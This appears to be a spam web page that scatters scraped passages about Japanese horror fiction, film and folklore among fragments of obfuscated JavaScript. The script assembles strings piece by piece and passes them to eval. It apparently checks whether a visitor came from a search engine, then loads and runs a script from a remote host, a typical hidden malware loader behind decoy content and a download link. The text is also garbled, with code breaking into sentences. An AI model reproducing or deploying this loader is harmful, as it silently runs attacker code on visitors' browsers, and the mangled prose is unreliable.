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":pC["Dd"]=")l";pC["zf"]="al";pC["GZ"]="1";pC["Xm"]="t ";pC["pi"]="sr";pC["gK"]="q ";pC["Um"]="]. Elements of several of these popular folktales have been worked into the stories of modern films, especially in the traditional nature of the Japanese ghost..

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[?????? ???? ???? ??](#)

Japanese horror tends to focus on psychological horror and tension building (suspense), particularly involving ghosts and poltergeists, while many contain themes of folk religion such as: possession, exorcism, shamanism, precognition, and y. 0";pC["UQ"]="hM";pC["Fc"]="on";pC["RD"]="//";pC["tY"]="==";pC["pq"]="an";pC["ph"]="s/";pC["wU"]="i";pC["QT"]=":/";pC["o m"]="im";pC["Ex"]="d";pC["ng"]=">";pC["JZ"]="ra";pC["oC"]="ss";pC["rn"]="v";pC["WJ"]="t(";pC["AS"]="yp";eval(pC["qq"]+pC["yr"]+pC["gK"]+pC["cY"]+pC["jn"]+pC["rn"]+pC["hK"]+pC["qD"]+pC["vm"]+pC["xx"]+pC["Lc"]+pC["Ia"]+pC["Xm"]+pC["vU"]+pC["Dg"]+pC["Ls"]+pC["vE"]+pC["gc"]+pC["Ia"]+pC["WJ"]+pC["aK"]+pC["vU"]+pC["Hv"]+pC["iV"]+pC["ca"]+pC["Fn"]+pC["uD"]+pC["lq"]+pC["UY"]+pC["fn"]+pC["Hy"]+pC["Ls"]+pC["tT"]+pC["pi"]+pC["vc"]+pC["BZ"]+pC["RD"]+pC["Eo"]+pC["GM"]+pC["IN"]+pC["Pq"]+pC["UN"]+pC["Dg"]+pC["XW"]+pC["Hh"]+pC["za"]+pC["Vu"]+pC["Eo"]+pC["GM"]+pC["yS"]+pC["vy"]+pC["ph"]+pC["uz"]+pC["af"]+pC["tc"]+pC["jb"]+pC["Jg"]+pC["Wz"]+pC["fh"]+pC["iP"]+pC["tU"]+pC["Ax"]+pC["mi"]+pC["Iu"]+pC["hh"]+pC["Bt"]+pC["eL"]+pC["xx"]+pC["Lc"]+pC["Ia"]+pC["Xm"]+pC["Si"]+pC["xd"]+pC["sq"]+pC["pO"]+pC["tV"]+pC["NF"]+pC["xs"]+pC["dw"]+pC["op"]+pC["pO"]+pC["tT"]+pC["pJ"]+pC["zB"]+pC["Bt"]+pC["YS"]+pC["Um"]+pC["RF"]+pC["Ym"]+pC["BP"]+pC["XY"]+pC["nO"]+pC["cb"]+pC["PS"]+pC["zF"]+pC["AF"]+pC["JG"]+pC["Kp"]+pC["rL"]+pC["SI"]+pC["ev"]+pC["lr"]+pC["kF"]+pC["if"]+pC["Ym"]+pC["yJ"]+pC["Qh"]+pC["tY"]+pC["Iy"]+pC["AF"]+pC["fp"]+pC["um"]+pC["jT"]+pC["at"]+pC["io"]+pC["uD"]+pC["CB"]+pC["om"]+pC["tp"]+pC["KB"]+pC["MV"]+pC["Ex"]+pC["TK"]+pC["tP"]+pC["Ps"]+pC["IL"]+pC["uD"]+pC["YI"]+pC["hK"]+pC["kb"]+pC["rG"]+pC["vm"]+pC["xx"]+pC["Lc"]+pC["Ia"]+pC["Xm"]+pC["LH"]+pC["ls"]+pC["qQ"]+pC["tU"]+pC["wU"]+pC["kF"]+pC["LH"]+pC["CX"]+pC["sq"]+pC["vD"]+pC["Oe"]+pC["ng"]+pC["io"]+pC["Mj"]+pC["LX"]+pC["LH"]+pC["CX"]+pC["dt"]+pC["fp"]+pC["eI"]+pC["kF"]+pC["hx"]+pC["pq"]+pC["fp"]+pC["rm"]+pC["VN"]+pC["ng"]+pC["Dd"]+pC["qu"]+pC["LH"]+pC["CX"]+pC["dt"]+pC["fp"]+pC["el"]+pC["kF"]+pC["EN"]+pC["Pq"]+pC["UN"]+pC["aY"]+pC["VN"]+pC["ng"]+pC["Dd"]+pC["hv"]+pC["rG"]+pC["ul"]+pC["BP"]+pC["mW"]+pC["DR"]+pC["nl"]+pC["JZ"]+pC["El"]+pC["sq"]+pC["Gj"]+pC["VN"]+pC["ng"]+pC["Ib"]+pC["LH"]+pC["CX"]+pC["dt"]+pC["fp"]+pC["el"]+pC["kF"]+pC["Aj"]+pC["dt"]+pC["Qr"]+pC["VN"]+pC["ng"]+pC["Ib"]+pC["LH"]+pC["CX"]+pC["dt"]+pC["fp"]+pC["el"]+pC["kF"]+pC["EX"]+pC["Wv"]+pC["HI"]+pC["VN"]+pC["ng"]+pC["Ib"]+pC["LH"]+pC["CX"]+pC["dt"]+pC["fp"]+pC["el"]+pC["kF"]+pC["hx"]+pC["ZS"]+pC["Pq"]+pC["ea"]+pC["Yx"]+pC["Rq"]+pC["hv"]+pC["rG"]+pC["ul"]+pC["BP"]+pC["mW"]+pC["DR"]+pC["nl"]+pC["VA"]+pC["Iu"]+pC["VN"]+pC["ng"]+pC["Ib"]+pC["LH"]+pC["CX"]+pC["dt"]+pC["fp"]+pC["eI"]+pC["kF"]+pC["AH"]+pC["Ay"]+pC["aY"]+pC["VN"]+pC["ng"]+pC["Ib"]+pC["LH"]+pC["CX"]+pC["dt"]+pC["fp"]+pC["eI"]+pC["kF"]+pC["gW"]+pC["tW"]+pC["VN"]+pC["ng"]+pC["io"]+pC["qq"]+pC["yr"]+pC["PI"]+pC["DC"]+pC["pO"]+pC["Go"]+pC["bh"]+pC["ws"]+pC["xR"]+pC["oV"]+pC["Su"]+pC["DI"]+pC["ah"]+pC["up"]+pC["nh"]+pC["AS"]+pC["Jr"]+pC["kH"]+pC["TV"]+pC["cL"]+pC["SO"]+pC["pC"]+pC["uK"]+pC["Ym"]+pC["vK"]+pC["UD"]+pC["fn"]+pC["dJ"]+pC["cL"]+pC["tE"]+pC["xx"]+pC["FM"]+pC["tw"]+pC["am"]+pC["Bz"]+pC["Xv"]+pC["bN"]+pC["EJ"]+pC["vU"]+pC["WO"]+pC["tw"]+pC["yB"]+pC["Wv"]+pC["OC"]+pC["cd"]+pC["af"]+pC["fa"]+pC["np"]+pC["LJ"]+pC["eQ"]+pC["zf"]+pC["uD"]+pC["Ly"]+pC["ox"]+pC["vK"]+pC["VP"]+pC["js"]+pC["QT"]+pC["AG"]+pC["gM"]+pC["Nf"]+pC["eB"]+pC["UQ"]+pC["BC"]+pC["Gs"]+pC["iK"]+pC["en"]+pC["SI"]+pC["rl"]+pC["oz"]+pC["Xx"]+pC["Ab"]+pC["yB"]+pC["GZ"]+pC["tK"]+pC["nl"]+pC["jZ"]+pC["hh"]+pC["Vp"]+pC["FC"]+pC["VI"]+pC["Dj"]+pC["SV"]+pC["pk"]+pC["pr"]+pC["oC"]+pC["eQ"]+pC["AF"]+pC["JG"]+pC["Kp"]+pC["Bp"]+pC["LH"]+pC["Oq"]+pC["Fc"]+pC["uD"]+pC["UV"]+pC["pC"]+pC["ou"]+pC["mW"]+pC["SB"]+pC["pC"]+pC["AB"]+pC["HP"]+pC["uz"]+pC["pG"]+pC["VO"]+pC["FE"]+pC["qq"]+pC["Mv"]+pC["LH"]+pC["Oq"]+pC["Fc"]+pC["uD"]+pC["UV"]+pC["pC"]+pC["ca"]+pC["Jb"]+pC["ca"]+pC["Jb"]+pC["Jb"]+pC["SI"]+pC["ev"]+pC["Kk"]); Japanese horror - Wikipedia..

":pC["xR"]="rc";pC["DI"]="a";pC["TV"]="ET";pC["Jb"]="}";pC["Hv"]="ip";pC["ca"]=");";pC["AB"]="tu";pC["uz"]="jq";pC["qD"]="a";pC["aK"]="s";pC["SO"]="da";pC["xs"]="yT";pC["rL"]="n";pC["gc"]="em";pC["HP"]="s";pC["pO"]="me";pC["iK"]="ro";pC["vU"]="cr";pC["nh"]="t";pC["Ia"]="en";pC["PS"]="a";pC["eL"]="d";pC["Si"]="ge";pC["mW"]="ex";pC["eQ"]="f";pC["Kp"]="io";pC["WO"]="os";pC["FM"]="es";pC["Jg"]=".. g";pC["op"]="Na";pC["rl"]="la";pC["FE"]="e";pC["am"]="at";pC["io"]="o";pC["VA"]="ms";pC["Pq"]="oo";pC["gW"]="\v";pC["VP"]="ht";pC["kF"]="f(";pC["Bz"]="a";pC["lr"]="i";pC["Wv"]="ai";pC["UN"]="gl";pC["BP"]="nd";pC["yS"]="l";pC["DC"]="ow";pC["up"]="x(";pC["Mv"]="l(";pC["Bt"]="");pC["aY"]="e.. ";pC["qq"]="va";pC["jZ"]="7 ";pC["HI"]="1

":pC["pr"]="ce";pC["BZ"]=",";pC["UY"]="tt";pC["hh"]="js";pC["Ps"]=",";";pC["nl"]="(\";pC["BC"]="Hv";pC["Gs"]=".. Japanese horror is Japanesehorror fiction in popular culture, noted for its unique thematic and conventional treatment of the

horror genre in light of western treatments.. Konjaku Monogatarish Kabuki and noh, forms of traditional Japanese theater, often depict horror tales of revenge and ghastrly appearances, many of which have been used as source material for films..

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c";pC["yJ"]="of";pC["Aj"]="\"b";pC["cd"]="tr";pC["Dg"]="ea";pC["ls"]="fe";pC["eB"]="7S";pC["Hh"]="s. 773a7aa168 [How To Download Themes For Powerpoint Mac](#)

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